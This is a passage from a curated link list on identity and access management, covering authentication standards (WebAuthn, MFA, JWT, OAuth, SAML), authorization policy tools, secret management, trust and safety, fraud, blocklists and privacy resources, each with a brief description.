A very accessible guide to WebAuthn, a standard allowing “servers to register and authenticate users using public key cryptography instead of a password”, supported by all major browsers. ### Security Key - [Webauthn and security keys](https://www.imperialviolet.org/2018/03/27/webauthn.html) - Describe how authentication works with security keys, details the protocols, and how they articulates with WebAuthn. Key takeaway: “There is no way to create a U2F key with webauthn however. (…) So complete the transition to webauthn of your login process first, then transition registration.” - [Getting started with security keys](https://paulstamatiou.com/getting-started-with-security-keys/) - A practical guide to stay safe online and prevent phishing with FIDO2, WebAuthn and security keys. - [Solo](https://github.com/solokeys/solo) - Open security key supporting FIDO2 & U2F over USB + NFC. - [OpenSK](https://github.com/google/OpenSK) - Open-source implementation for security keys written in Rust that supports both FIDO U2F and FIDO2 standards. - [YubiKey Guide](https://github.com/drduh/YubiKey-Guide) - Guide to using YubiKey as a SmartCard for storing GPG encryption, signing and authentication keys, which can also be used for SSH. Many of the principles in this document are applicable to other smart card devices. - [YubiKey at Datadog](https://github.com/DataDog/yubikey) - Guide to setup Yubikey, U2F, GPG, git, SSH, Keybase, VMware Fusion and Docker Content Trust. ### Multi-Factor - [Breaking Password Dependencies: Challenges in the Final Mile at Microsoft](https://www.youtube.com/watch?v=B_mhJO2qHlQ) - The primary source of account hacks is password spraying (on legacy auth like SMTP, IMAP, POP, etc.), second is replay attack. Takeaway: password are insecure, use and enforce MFA. - [Beyond Passwords: 2FA, U2F and Google Advanced Protection](https://www.troyhunt.com/beyond-passwords-2fa-u2f-and-google-advanced-protection/) - An excellent walk-trough over all these technologies. - [A Comparative Long-Term Study of Fallback Authentication](https://www.mobsec.ruhr-uni-bochum.de/media/mobsec/veroeffentlichungen/2019/02/20/usec2019-30-wip-fallback-long-term-study-finalv2.pdf) - Key take-away: “schemes based on email and SMS are more usable. Mechanisms based on designated trustees and personal knowledge questions, on the other hand, fall short, both in terms of convenience and efficiency.” - [Secrets, Lies, and Account Recovery: Lessons from the Use of Personal Knowledge Questions at Google](https://static.googleusercontent.com/media/research.google.com/en/us/pubs/archive/43783.pdf) - “Our analysis confirms that secret questions generally offer a security level that is far lower than user-chosen passwords. (…) Surprisingly, we found that a significant cause of this insecurity is that users often don't answer truthfully. (…) On the usability side, we show that secret answers have surprisingly poor memorability”. - [How effective is basic account hygiene at preventing hijacking](https://security.googleblog.com/2019/05/new-research-how-effective-is-basic.html) - Google security team's data shows 2FA blocks 100% of automated bot hacks. - [Your Pa$$word doesn't matter](https://techcommunity.microsoft.com/t5/Azure-Active-Directory-Identity/Your-Pa-word-doesn-t-matter/ba-p/731984) - Same conclusion as above from Microsoft: “Based on our studies, your account is more than 99.9% less likely to be compromised if you use MFA.” - [Attacking Google Authenticator](https://unix-ninja.com/p/attacking_google_authenticator) - Probably on the verge of paranoia, but might be a reason to rate limit 2FA validation attempts. - [Compromising online accounts by cracking voicemail systems](https://www.martinvigo.com/voicemailcracker/) - Or why you should not rely on automated phone calls as a method to reach the user and reset passwords, 2FA or for any kind of verification. Not unlike SMS-based 2FA, it is currently insecure and can be compromised by the way of its weakest link: voicemail systems. - [Getting 2FA Right in 2019](https://blog.trailofbits.com/2019/06/20/getting-2fa-right-in-2019/) - On the UX aspects of 2FA. - [2FA is missing a key feature](https://syslog.ravelin.com/2fa-is-missing-a-key-feature-c781c3861db) - “When my 2FA code is entered incorrectly I'd like to know about it”. ### SMS-based TL;DR: don't. For details, see articles below. - [SMS 2FA auth is deprecated by NIST](https://techcrunch.com/2016/07/25/nist-declares-the-age-of-sms-based-2-factor-authentication-over/) - NIST has said that 2FA via SMS is bad and awful since 2016. - [SMS: The most popular and least secure 2FA method](https://www.allthingsauth.com/2018/02/27/sms-the-most-popular-and-least-secure-2fa-method/) - [Is SMS 2FA Secure? No.](https://www.issms2fasecure.com) - Definitive research project demonstrating successful attempts at SIM swapping. - [Hackers Hit Twitter C.E.O. Jack Dorsey in a 'SIM Swap.' You're at Risk, Too.](https://www.nytimes.com/2019/09/05/technology/sim-swap-jack-dorsey-hack.html) - [AT\&T rep handed control of his cellphone account to a hacker](https://www.theregister.co.uk/2017/07/10/att_falls_for_hacker_tricks/) - [The Most Expensive Lesson Of My Life: Details of SIM port hack](https://medium.com/coinmonks/the-most-expensive-lesson-of-my-life-details-of-sim-port-hack-35de11517124) - [SIM swap horror story](https://www.zdnet.com/article/sim-swap-horror-story-ive-lost-decades-of-data-and-google-wont-lift-a-finger/) - [AWS is on its way to deprecate SMS-based 2FA](https://aws.amazon.com/iam/details/mfa/) - “We encourage you to use MFA through a U2F security key, hardware device, or virtual (software-based) MFA device. You can continue using this feature until January 31, 2019.” ### Public-Key Infrastructure (PKI) Certificate-based authentication. - [PKI for busy people](https://rehn.me/posts/pki-for-busy-people.html) - Quick overview of the important stuff. - [Everything you should know about certificates and PKI but are too afraid to ask](https://smallstep.com/blog/everything-pki.html) - PKI lets you define a system cryptographically. It's universal and vendor neutral. - [`lemur`](https://github.com/Netflix/lemur) - Acts as a broker between CAs and environments, providing a central portal for developers to issue TLS certificates with 'sane' defaults. - [CFSSL](https://github.com/cloudflare/cfssl) - A swiss army knife for PKI/TLS by CloudFlare. Command line tool and an HTTP API server for signing, verifying, and bundling TLS certificates. - [JA3](https://github.com/salesforce/ja3) - Method for creating SSL/TLS client fingerprints that should be easy to produce on any platform and can be easily shared for threat intelligence. ### JWT [JSON Web Token](https://en.wikipedia.org/wiki/JSON_Web_Token) is a bearer's token. - [Introduction to JSON Web Tokens](https://jwt.io/introduction/) - Get up to speed on JWT with this article. - [Learn how to use JWT for Authentication](https://github.com/dwyl/learn-json-web-tokens) - Learn how to use JWT to secure your web app. - [Using JSON Web Tokens as API Keys](https://auth0.com/blog/using-json-web-tokens-as-api-keys/) - Compared to API keys, JWTs offers granular security, homogenous auth architecture, decentralized issuance, OAuth2 compliance, debuggability, expiration control, device management. - [Managing a Secure JSON Web Token Implementation](https://cursorblog.com/managing-a-secure-json-web-token-implementation/) - JWT has all sorts of flexibility that make it hard to use well. - [Hardcoded secrets, unverified tokens, and other common JWT mistakes](https://r2c.dev/blog/2020/hardcoded-secrets-unverified-tokens-and-other-common-jwt-mistakes/) - A good recap of all JWT pitfalls. - [Adding JSON Web Token API Keys to a DenyList](https://auth0.com/blog/denylist-json-web-token-api-keys/) - On token invalidation. - [Stop using JWT for sessions](http://cryto.net/~joepie91/blog/2016/06/13/stop-using-jwt-for-sessions/) - And [why your "solution" doesn't work](http://cryto.net/%7Ejoepie91/blog/2016/06/19/stop-using-jwt-for-sessions-part-2-why-your-solution-doesnt-work/), because [stateless JWT tokens cannot be invalidated or updated](https://news.ycombinator.com/item?id=18354141). They will introduce either size issues or security issues depending on where you store them. Stateful JWT tokens are functionally the same as session cookies, but without the battle-tested and well-reviewed implementations or client support. - [JWT, JWS and JWE for Not So Dummies\!](https://medium.facilelogin.com/jwt-jws-and-jwe-for-not-so-dummies-b63310d201a3) - A signed JWT is known as a JWS (JSON Web Signature). In fact a JWT does not exist itself — either it has to be a JWS or a JWE (JSON Web Encryption). Its like an abstract class — the JWS and JWE are the concrete implementations. - [JOSE is a Bad Standard That Everyone Should Avoid](https://paragonie.com/blog/2017/03/jwt-json-web-tokens-is-bad-standard-that-everyone-should-avoid) - The standards are either completely broken or complex minefields hard to navigate. - [JWT.io](https://jwt.io) - Allows you to decode, verify and generate JWT. - [`loginsrv`](https://github.com/tarent/loginsrv) - Standalone minimalistic login server providing a JWT login for multiple login backends (htpasswd, OSIAM, user/password, HTTP basic authentication, OAuth2: GitHub, Google, Bitbucket, Facebook, Gitlab). ### OAuth2 & OpenID [OAuth 2.0](https://en.wikipedia.org/wiki/OAuth#OAuth_2.0) is an authorization framework. [OpenID Connect (OIDC)](https://en.wikipedia.org/wiki/OpenID_Connect) is an authentication layer on top of it. The old _OpenID_ is dead; the new _OpenID Connect_ is very much not-dead. - [An Illustrated Guide to OAuth and OpenID Connect](https://developer.okta.com/blog/2019/10/21/illustrated-guide-to-oauth-and-oidc) - Explain how these standards work using simplified illustrations. - [OAuth 2 Simplified](https://aaronparecki.com/oauth-2-simplified/) - A reference article describing the protocol in simplified format to help developers and service providers implement it. - [OAuth 2.0 and OpenID Connect (in plain English)](https://www.youtube.com/watch?v=996OiexHze0) - Starts with an historical context on how these standards came to be, clears up the innacuracies in the vocabulary, then details the protocols and its pitfalls to make it less intimidating. - [Everything You Need to Know About OAuth (2.0)](https://gravitational.com/blog/everything-you-need-to-know-about-oauth/) - A good overview with a practical case study on how Teleport, an open-source remote access tool, allows users to log in through GitHub SSO. - [OAuth in one picture](https://mobile.twitter.com/kamranahmedse/status/1276994010423361540) - A nice summary card. - [How to Implement a Secure Central Authentication Service in Six Steps](https://engineering.shopify.com/blogs/engineering/implement-secure-central-authentication-service-six-steps) - Got multiple legacy systems to merge with their own login methods and accounts? Here is how to merge all that mess by the way of OIDC. - [Open-Sourcing BuzzFeed's SSO Experience](https://increment.com/security/open-sourcing-buzzfeeds-single-sign-on-process/) - OAuth2-friendly adaptation of the Central Authentication Service (CAS) protocol. You'll find there good OAuth user flow diagrams. - [The Decline of OpenID](https://penguindreams.org/blog/the-decline-of-openid/) - OpenID is being replaced in the public web to a mix of OAuth 1, OAuth 2 or other proprietary SSO protocols. - [Why Mastercard Doesn't Use OAuth 2.0](https://developer.mastercard.com/blog/why-mastercard-doesnt-use-oauth-20) - “They did this to provide message-level integrity. OAuth 2 switched to Transport-level confidentiality/Integrity.” (which TLS provides) ([source](https://news.ycombinator.com/item?id=17486165)). - [OAuth 2.0 Security Best Current Practice](https://tools.ietf.org/html/draft-ietf-oauth-security-topics-16) - “Updates and extends the OAuth 2.0 Security Threat Model to incorporate practical experiences gathered since OAuth 2.0 was published and covers new threats relevant due to the broader application”. - [Hidden OAuth attack vectors](https://portswigger.net/web-security/oauth) - How to identify and exploit some of the key vulnerabilities found in OAuth 2.0 authentication mechanisms. - [PKCE Explained](https://www.loginradius.com/engineering/blog/pkce/) - “PKCE is used to provide one more security layer to the authorization code flow in OAuth and OpenID Connect.” - [Hydra](https://gethydra.sh) - Open-source OIDC & OAuth2 Server. - [Cierge](https://web.archive.org/web/20190402111431/https://pwdless.github.io/Cierge-Website/) - Open-source authentication server (OIDC) that handles user signup, login, profiles, management, and more. - [Keycloak](https://www.keycloak.org) - Open-source Identity and Access Management. Supports OIDC, OAuth 2 and SAML 2, LDAP and AD directories, password policies. - [Casdoor](https://github.com/casbin/casdoor) - A UI-first centralized authentication / Single-Sign-On (SSO) platform based. Supports OIDC and OAuth 2, social logins, user management, 2FA based on Email and SMS. - [IdentityServer](https://github.com/IdentityServer/IdentityServer4) - Free, open source OpenID Connect and OAuth 2.0 framework for ASP.NET Core. - [authentik](https://goauthentik.io/?#correctness) - Open-source Identity Provider similar to Keycloak. - [ZITADEL](https://github.com/caos/zitadel) - An Open-Source solution built with Go and Angular to manage all your systems, users and service accounts together with their roles and external identities. ZITADEL provides you with OIDC, OAuth 2.0, login & register flows, passwordless and MFA authentication. All this is built on top of eventsourcing in combination with CQRS to provide a great audit trail. ### SAML Security Assertion Markup Language (SAML) 2.0 is a means to exchange authorization and authentication between services, like OAuth/OpenID protocols above. Typical SAML identity provider is an institution or a big corporation's internal SSO, while the typical OIDC/OAuth provider is a tech company that runs a data silo. - [SAML vs. OAuth](https://www.cloudflare.com/learning/access-management/what-is-oauth/) - “OAuth is a protocol for authorization: it ensures Bob goes to the right parking lot. In contrast, SAML is a protocol for authentication, or allowing Bob to get past the guardhouse.” - [The Difference Between SAML 2.0 and OAuth 2.0](https://www.ubisecure.com/uncategorized/difference-between-saml-and-oauth/) - “Even though SAML was actually designed to be widely applicable, its contemporary usage is typically shifted towards enterprise SSO scenarios. On the other hand, OAuth was designed for use with applications on the Internet, especially for delegated authorisation.” - [What's the Difference Between OAuth, OpenID Connect, and SAML?](https://www.okta.com/identity-101/whats-the-difference-between-oauth-openid-connect-and-saml/) - Identity is hard. Another take on the different protocol is always welcome to help makes sense of it all. - [How SAML 2.0 Authentication Works](https://gravitational.com/blog/how-saml-authentication-works/) - Overview of the how and why of SSO and SAML. - [Web Single Sign-On, the SAML 2.0 perspective](https://blog.theodo.com/2019/06/web-single-sign-on-the-saml-2-0-perspective/) - Another naive explanation of SAML workflow in the context of corporate SSO implementation. - [The Beer Drinker's Guide to SAML](https://duo.com/blog/the-beer-drinkers-guide-to-saml) - SAML is arcane at times. A another analogy might helps get more sense out of it. - [SAML is insecure by design](https://joonas.fi/2021/08/saml-is-insecure-by-design/) - Not only weird, SAML is also insecure by design, as it relies on signatures based on XML canonicalization, not XML byte stream. Which means you can exploit XML parser/encoder differences. - [The Difficulties of SAML Single Logout](https://wiki.shibboleth.net/confluence/display/CONCEPT/SLOIssues) - On the technical and UX issues of single logout implementations. ## Authorization Now that we know you are you, are you allowed to perform what you want to do? Policy specification is the science, enforcement is the art. ### Policy models As a concept, access control policies can be designed to follow very different archetypes, from classic [Access Control Lists](https://en.wikipedia.org/wiki/Access-control_list) to [Role Based Access Control](https://en.wikipedia.org/wiki/Role-based_access_control). In this section we explore lots of different patterns and architectures. - [In Search For a Perfect Access Control System](https://goteleport.com/blog/access-controls/) - An overview of the most popular types of authorization schemes, and their historical origins. - [Role Based Access Control](https://csrc.nist.gov/projects/role-based-access-control) - A NIST project to explain RBAC concepts, costs and benefits, the economic impact of RBAC, design and implementation issues, the standard itself, and advanced research topics. - [Semantic-based Automated Reasoning for AWS Access Policies using SMT](https://d1.awsstatic.com/Security/pdfs/Semantic_Based_Automated_Reasoning_for_AWS_Access_Policies_Using_SMT.pdf) - Zelkova is how AWS does it. This system perform symbolic analysis of IAM policies, and solve the reachability of resources according user's rights and access constraints. Also see the higher-level [introduction given at re:inforce 2019](https://youtu.be/x6wsTFnU3eY?t=2111). - [Zanzibar: Google's Consistent, Global Authorization System](https://ai.google/research/pubs/pub48190) - Scales to trillions of access control lists and millions of authorization requests per second to support services used by billions of people. It has maintained 95th-percentile latency of less than 10 milliseconds and availability of greater than 99.999% over 3 years of production use. [Other bits not in the paper](https://twitter.com/LeaKissner/status/1136626971566149633). - Description of an [authz system that is built around labeled security and RBAC concepts](https://news.ycombinator.com/item?id=20136831). ### Open-source policy frameworks Collection of open-source projects if you're looking to roll your own policy implementation. - [Keto](https://github.com/ory/keto) - Policy decision point. It uses a set of access control policies, similar to AWS policies, in order to determine whether a subject is authorized to perform a certain action on a resource. - [Ladon](https://github.com/ory/ladon) - Access control library, inspired by AWS. - [Athenz](https://github.com/yahoo/athenz) - Set of services and libraries supporting service authentication and role-based authorization (RBAC) for provisioning and configuration. - [Casbin](https://github.com/casbin/casbin) - Open-source access control library for Golang projects. - [Open Policy Agent](https://github.com/open-policy-agent) - Allows end to end testing of your policies across SQL, Kubernetes, Terraform, Kafka, Envoy, S3 (via Minio), EC2/ECS/Lambda (Linux). - [Gubernator](https://github.com/mailgun/gubernator) - High performance rate-limiting micro-service and library. - [Biscuit](https://www.clever-cloud.com/blog/engineering/2021/04/12/introduction-to-biscuit/) - Biscuit merge concepts from cookies, JWTs, macaroons and Open Policy Agent. “It provide a logic language based on Datalog to write authorization policies. It can store data, like JWT, or small conditions like Macaroons, but it is also able to represent more complex rules like role-based access control, delegation, hierarchies.” - [Oso](https://github.com/osohq/oso) - A batteries-included library for building authorization in your application. ### AWS policy tools Tools and resources exclusively targetting the [AWS IAM policies](http://docs.aws.amazon.com/IAM/latest/UserGuide/access_policies.html) ecosystem. - [Become an AWS IAM Policy Ninja](https://www.youtube.com/watch?v=y7-fAT3z8Lo) - “In my nearly 5 years at Amazon, I carve out a little time each day, each week to look through the forums, customer tickets to try to find out where people are having trouble.” - [Cloudsplaining](https://github.com/salesforce/cloudsplaining) - Security assessment tool that identifies violations of least privilege and generates a risk-prioritized report. - [Policy Sentry](https://github.com/salesforce/policy_sentry) - Writing security-conscious IAM Policies by hand can be very tedious and inefficient. Policy Sentry helps users to create least-privilege policies in a matter of seconds. - [Aardvark and Repokid](https://netflixtechblog.com/introducing-aardvark-and-repokid-53b081bf3a7e) - Netflix tools to enforce least privilege on AWS. The idea is that the default policy on new things is deny all, and then it monitors cloudtrail for privilege failures and reconfigures IAM to allow the smallest possible privilege to get rid of that deny message. - [Principal Mapper](https://github.com/nccgroup/PMapper) - Quickly evaluates permissions. - [PolicyUniverse](https://github.com/Netflix-Skunkworks/policyuniverse) - Parse and process AWS policies, statements, ARNs, and wildcards. - [IAM Floyd](https://github.com/udondan/iam-floyd) - AWS IAM policy statement generator with fluent interface. Helps with creating type safe IAM policies and writing more restrictive/secure statements by offering conditions and ARN generation via IntelliSense. Available for Node.js, Python, .Net and Java. - [ConsoleMe](https://github.com/Netflix/consoleme) - A self-service tool for AWS that provides end-users and administrators credentials and console access to the onboarded accounts based on their authorization level of managing permissions across multiple accounts, while encouraging least-privilege permissions. ### Macaroons A clever curiosity to distribute and delegate authorization. - [Google's Macaroons in Five Minutes or Less](https://blog.bren2010.io/2014/12/04/macaroons.html) - If I'm given a Macaroon that authorizes me to perform some action(s) under certain restrictions, I can non-interactively build a second Macaroon with stricter restrictions that I can then give to you. - [Macaroons: Cookies with Contextual Caveats for Decentralized Authorization in the Cloud](https://ai.google/research/pubs/pub41892) - Google's original paper. - [Google paper's author compares Macaroons and JWTs](https://news.ycombinator.com/item?id=14294463) - As a consumer/verifier of macaroons, they allow you (through third-party caveats) to defer some authorization decisions to someone else. JWTs don't. ## Secret Management Architectures, software and hardware allowing the storage and usage of secrets to allow for authentication and authorization, while maintaining the chain of trust. - [Secret at Scale at Netflix](https://www.youtube.com/watch?v=K0EOPddWpsE) - Solution based on blind signatures. See the [slides](https://rwc.iacr.org/2018/Slides/Mehta.pdf). - [High Availability in Google's Internal KMS](https://www.youtube.com/watch?v=5T_c-lqgjso) - Not GCP's KMS, but the one at the core of their infrastructure. See the [slides](https://rwc.iacr.org/2018/Slides/Kanagala.pdf). - [`vault`](https://www.vaultproject.io) - Secure, store and tightly control access to tokens, passwords, certificates, encryption keys. - [`sops`](https://github.com/mozilla/sops) - Encrypts the values of YAML and JSON files, not the keys. - [`gitleaks`](https://github.com/zricethezav/gitleaks) - Audit git repos for secrets. - [`truffleHog`](https://github.com/dxa4481/truffleHog) - Searches through git repositories for high entropy strings and secrets, digging deep into commit history. - [Keywhiz](https://square.github.io/keywhiz/) - A system for managing and distributing secrets, which can fit well with a service oriented architecture (SOA). - [`roca`](https://github.com/crocs-muni/roca) - Python module to check for weak RSA moduli in various key formats. ### Hardware Security Module (HSM) HSMs are physical devices guaranteeing security of secret management at the hardware level. - [HSM: What they are and why it's likely that you've (indirectly) used one today](https://rwc.iacr.org/2015/Slides/RWC-2015-Hampton.pdf) - Really basic overview of HSM usages. - [Tidbits on AWS Cloud HSM hardware](https://news.ycombinator.com/item?id=16759383) - AWS CloudHSM Classic is backed by SafeNet's Luna HSM, current CloudHSM rely on Cavium's Nitrox, which allows for partitionable "virtual HSMs". - [CrypTech](https://cryptech.is) - An open hardware HSM. - [Keystone](https://keystone-enclave.org) - Open-source project for building trusted execution environments (TEE) with secure hardware enclaves, based on the RISC-V architecture. - [Project Oak](https://github.com/project-oak/oak) - A specification and a reference implementation for the secure transfer, storage and processing of data. - [Everybody be cool, this is a robbery\!](https://www.sstic.org/2019/presentation/hsm/) - A case study of vulnerability and exploitability of a HSM (in French, sorry). ## Trust & Safety Once you've got a significant user base, it is called a community. You'll then be responsible to protect it: the customer, people, the company, the business, and facilitate all interactions and transactions happening therein. A critical intermediation complex driven by a policy and constraint by local laws, the Trust & Safety department is likely embodied by a cross-functional team of 24/7 operators and systems of highly advanced moderation and administration tools. You can see it as an extension of customer support services, specialized in edge-cases like manual identity checks, moderation of harmful content, stopping harassment, handling of warrants and copyright claims, data sequestration and other credit card disputes. - [Trust and safety 101](https://www.csoonline.com/article/3206127/trust-and-safety-101.html) - A great introduction on the domain and its responsabilities. - [What the Heck is Trust and Safety?](https://www.linkedin.com/pulse/what-heck-trust-safety-kenny-shi) - A couple of real use-case to demonstrate the role of a TnS team. <!--lint disable double-link--> - [Awesome List of Billing and Payments: Fraud links](https://github.com/kdeldycke/awesome-billing#fraud) - Section dedicated to fraud management for billing and payment, from our sister repository. <!--lint enable double-link--> ### User Identity Most businesses do not collect customer's identity to create user profiles to sell to third party, no. But you still have to: local laws require to keep track of contract relationships under the large [Know You Customer (KYC)](https://en.wikipedia.org/wiki/Know_your_customer) banner. - [The Laws of Identity](https://www.identityblog.com/stories/2005/05/13/TheLawsOfIdentity.pdf) - Is this paper aims at identity metasystem, its laws still provides great insights at smaller scale, especially the first law: to always allow user control and ask for consent to earn trust. - [How Uber Got Lost](https://www.nytimes.com/2019/08/23/business/how-uber-got-lost.html) - “To limit "friction" Uber allowed riders to sign up without requiring them to provide identity beyond an email — easily faked — or a phone number. (…) Vehicles were stolen and burned; drivers were assaulted, robbed and occasionally murdered. The company stuck with the low-friction sign-up system, even as violence increased.” - [A Comparison of Personal Name Matching: Techniques and Practical Issues](http://users.cecs.anu.edu.au/~Peter.Christen/publications/tr-cs-06-02.pdf) - Customer name matching has lots of application, from account deduplication to fraud monitoring. - [Statistically Likely Usernames](https://github.com/insidetrust/statistically-likely-usernames) - Wordlists for creating statistically likely usernames for use in username-enumeration, simulated password-attacks and other security testing tasks. - [Sherlock](https://github.com/sherlock-project/sherlock) - Hunt down social media accounts by username across social networks. ### Fraud As an online service provider, you're exposed to fraud, crime and abuses. You'll be surprised by how much people gets clever when it comes to money. Expect any bug or discrepancies in your workflow to be exploited for financial gain. - [After Car2Go eased its background checks, 75 of its vehicles were stolen in one day.](https://archive.is/MuNrZ) - Why background check are sometimes necessary. - [Investigation into the Unusual Signups](https://openstreetmap.lu/MWGGlobalLogicReport20181226.pdf) - A really detailed analysis of suspicious contributor signups on OpenStreetMap. This beautiful and high-level report demonstrating an orchestrated and directed campaign might serve as a template for fraud reports. - [MIDAS: Detecting Microcluster Anomalies in Edge Streams](https://github.com/bhatiasiddharth/MIDAS) - A proposed method to “detects microcluster anomalies, or suddenly arriving groups of suspiciously similar edges, in edge streams, using constant time and memory.” - [Gephi](https://github.com/gephi/gephi) - Open-source platform for visualizing and manipulating large graphs. ### Moderation Any online communities, not only those related to gaming and social networks, requires their operator to invest a lot of resource and energy to moderate it. - [Still Logged In: What AR and VR Can Learn from MMOs](https://youtu.be/kgw8RLHv1j4?t=534) - “If you host an online community, where people can harm another person: you are on the hook. And if you can't afford to be on the hook, don't host an online community”. - [Keep out the bad apples: How to moderate a marketplace](https://twosided.substack.com/p/keep-out-the-bad-apples-how-to-moderate) - “With great power comes great responsibility. Some of my tips and tricks to make your marketplace a safer place.” - [The despair and darkness of people will get to you](https://restofworld.org/2020/facebook-international-content-moderators/) - Moderation of huge social networks is performed by an army of outsourced subcontractors. These people are exposed to the worst and generally ends up with PTSD. - [The Cleaners](https://thoughtmaybe.com/the-cleaners/) - A documentary on these teams of underpaid people removing posts and deleting accounts. ### Threat Intelligence How to detect, unmask and classify offensive online activities. Most of the time these are monitored by security, networking and/or infrastructure engineering teams. Still, these are good resources for T\&S and IAM people, who might be called upon for additional expertise for analysis and handling of threats. - [Awesome Threat Intelligence](https://github.com/hslatman/awesome-threat-intelligence) - “A concise definition of Threat Intelligence: evidence-based knowledge, including context, mechanisms, indicators, implications and actionable advice, about an existing or emerging menace or hazard to assets that can be used to inform decisions regarding the subject's response to that menace or hazard.” - [SpiderFoot](https://github.com/smicallef/spiderfoot) - An open source intelligence (OSINT) automation tool. It integrates with just about every data source available and uses a range of methods for data analysis, making that data easy to navigate. - [Standards related to Threat Intelligence](https://www.threat-intelligence.eu/standards/) - Open standards, tools and methodologies to support threat intelligence analysis. - [MISP taxonomies and classification](https://www.misp-project.org/taxonomies.html) - Tags to organize information on “threat intelligence including cyber security indicators, financial fraud or counter-terrorism information.” - [Browser Fingerprinting: A survey](https://arxiv.org/pdf/1905.01051.pdf) - Fingerprints can be used as a source of signals to identify bots and fraudsters. - [The challenges of file formats](https://speakerdeck.com/ange/the-challenges-of-file-formats) - At one point you will let users upload files in your system. Here is a [corpus of suspicious media files](https://github.com/corkami/pocs) that can be leveraged by scammers =to bypass security or fool users. - [SecLists](https://github.com/danielmiessler/SecLists) - Collection of multiple types of lists used during security assessments, collected in one place. List types include usernames, passwords, URLs, sensitive data patterns, fuzzing payloads, web shells, and many more. - [PhishingKitTracker](https://github.com/neonprimetime/PhishingKitTracker) - CSV database of email addresses used by threat actor in phishing kits. - [PhoneInfoga](https://github.com/sundowndev/PhoneInfoga) - Tools to scan phone numbers using only free resources. The goal is to first gather standard information such as country, area, carrier and line type on any international phone numbers with a very good accuracy. Then search for footprints on search engines to try to find the VoIP provider or identify the owner. - [Confusable Homoglyphs](https://github.com/vhf/confusable_homoglyphs) - Homoglyphs is a common phishing trick. ### Captcha Another line of defense against spammers. - [Awesome Captcha](https://github.com/ZYSzys/awesome-captcha) - Reference all open-source captcha libraries, integration, alternatives and cracking tools. - [reCaptcha](https://www.google.com/recaptcha) - reCaptcha is still an effective, economical and quick solution when your company can't afford to have a dedicated team to fight bots and spammers at internet scale. - [You (probably) don't need ReCAPTCHA](https://kevv.net/you-probably-dont-need-recaptcha/) - Starts with a rant on how the service is a privacy nightmare and is tedious UI-wise, then list alternatives. - [Anti-captcha](https://anti-captcha.com) - Captchas solving service. ## Blocklists The first mechanical line of defense against abuses consist in plain and simple deny-listing. This is the low-hanging fruit of fraud fighting, but you'll be surprised how they're still effective. - [Bloom Filter](https://en.wikipedia.org/wiki/Bloom_filter) - Perfect for this use-case, as bloom filters are designed to quickly check if an element is not in a (large) set. Variations of bloom filters exist for specific data types. - [How Radix trees made blocking IPs 5000 times faster](https://blog.sqreen.com/demystifying-radix-trees/) - Radix trees might come handy to speed-up IP blocklists. ### Hostnames and Subdomains Useful to identified clients, catch and block swarms of bots, and limit effects of dDOS. - [`hosts`](https://github.com/StevenBlack/hosts) - Consolidates reputable hosts files, and merges them into a unified hosts file with duplicates removed. - [`nextdns/metadata`](https://github.com/nextdns/metadata) - Extensive collection of list for security, privacy and parental control. - [The Public Suffix List](https://publicsuffix.org) - Mozilla's registry of public suffixes, under which Internet users can (or historically could) directly register names. - [Country IP Blocks](https://github.com/herrbischoff/country-ip-blocks) - CIDR country-level IP data, straight from the Regional Internet Registries, updated hourly. - [Certificate Transparency Subdomains](https://github.com/internetwache/CT_subdomains) - An hourly updated list of subdomains gathered from certificate transparency logs. - Subdomain denylists: [\#1](https://gist.github.com/artgon/5366868), [\#2](https://github.com/sandeepshetty/subdomain-blacklist/blob/master/subdomain-blacklist.txt), [\#3](https://github.com/nccgroup/typofinder/blob/master/TypoMagic/datasources/subdomains.txt), [\#4](https://www.quora.com/How-do-sites-prevent-vanity-URLs-from-colliding-with-future-features). - [`common-domain-prefix-suffix-list.tsv`](https://gist.github.com/erikig/826f49442929e9ecfab6d7c481870700) - Top-5000 most common domain prefix/suffix list. - [`hosts-blocklists`](https://github.com/notracking/hosts-blocklists) - No more ads, tracking and other virtual garbage. - [`xkeyscorerules100.txt`](https://gist.github.com/sehrgut/324626fa370f044dbca7) - NSA's [XKeyscore](https://en.wikipedia.org/wiki/XKeyscore) matching rules for TOR and other anonymity preserving tools. - [`pyisp`](https://github.com/ActivisionGameScience/pyisp) - IP to ISP lookup library (includes ASN). - [AMF site blocklist](https://www.amf-france.org/Epargne-Info-Service/Proteger-son-epargne/Listes-noires) - Official French denylist of money-related fraud sites. ### Emails - [Burner email providers](https://github.com/wesbos/burner-email-providers) - A list of temporary email providers. And its [derivative Python module](https://github.com/martenson/disposable-email-domains). - [MailChecker](https://github.com/FGRibreau/mailchecker) - Cross-language temporary (disposable/throwaway) email detection library. - [Temporary Email Address Domains](https://gist.github.com/adamloving/4401361) - A list of domains for disposable and temporary email addresses. Useful for filtering your email list to increase open rates (sending email to these domains likely will not be opened). - [`gman`](https://github.com/benbalter/gman) - “A ruby gem to check if the owner of a given email address or website is working for THE MAN (a.k.a verifies government domains).” Good resource to hunt for potential government customers in your user base. - [`Swot`](https://github.com/leereilly/swot) - In the same spirit as above, but this time to flag academic users. ### Reserved IDs - [General List of Reserved Words](https://gist.github.com/stuartpb/5710271) - This is a general list of words you may want to consider reserving, in a system where users can pick any name. - [Hostnames and usernames to reserve](https://ldpreload.com/blog/names-to-reserve) - List of all the names that should be restricted from registration in automated systems. ### Profanity - [List of Dirty, Naughty, Obscene, and Otherwise Bad Words](https://github.com/LDNOOBW/List-of-Dirty-Naughty-Obscene-and-Otherwise-Bad-Words) - Profanity blocklist from Shutterstock. - [`profanity-check`](https://github.com/vzhou842/profanity-check) - Uses a linear SVM model trained on 200k human-labeled samples of clean and profane text strings. ## Privacy As the guardian of user's data, the IAM stack is deeply bounded by the respect of privacy. - [Privacy Enhancing Technologies Decision Tree](https://www.private-ai.ca/PETs_Decision_Tree.png) - A flowchart to select the right tool depending on data type and context. - [Paper we love: Privacy](https://github.com/papers-we-love/papers-we-love/tree/master/privacy) - A collection of scientific studies of schemes providing privacy by design. - [IRMA Authentication](https://news.ycombinator.com/item?id=20144240) - Open-source app and protocol that offers privacy-friendly attribute based authentication and signing using [Camenisch and Lysyanskaya's Idemix](https://privacybydesign.foundation/publications/). - [Have I been Pwned?](https://haveibeenpwned.com) - Data breach index. - [Automated security testing for Software Developers](https://fahrplan.events.ccc.de/camp/2019/Fahrplan/system/event_attachments/attachments/000/003/798/original/security_cccamp.pdf) - Most privacy breaches were allowed by known vulnerabilities in third-party dependencies. Here is how to detect them by the way of CI/CD. - [Email marketing regulations around the world](https://github.com/threeheartsdigital/email-marketing-regulations) - As the world becomes increasingly connected, the email marketing regulation landscape becomes more and more complex. - [World's Biggest Data Breaches & 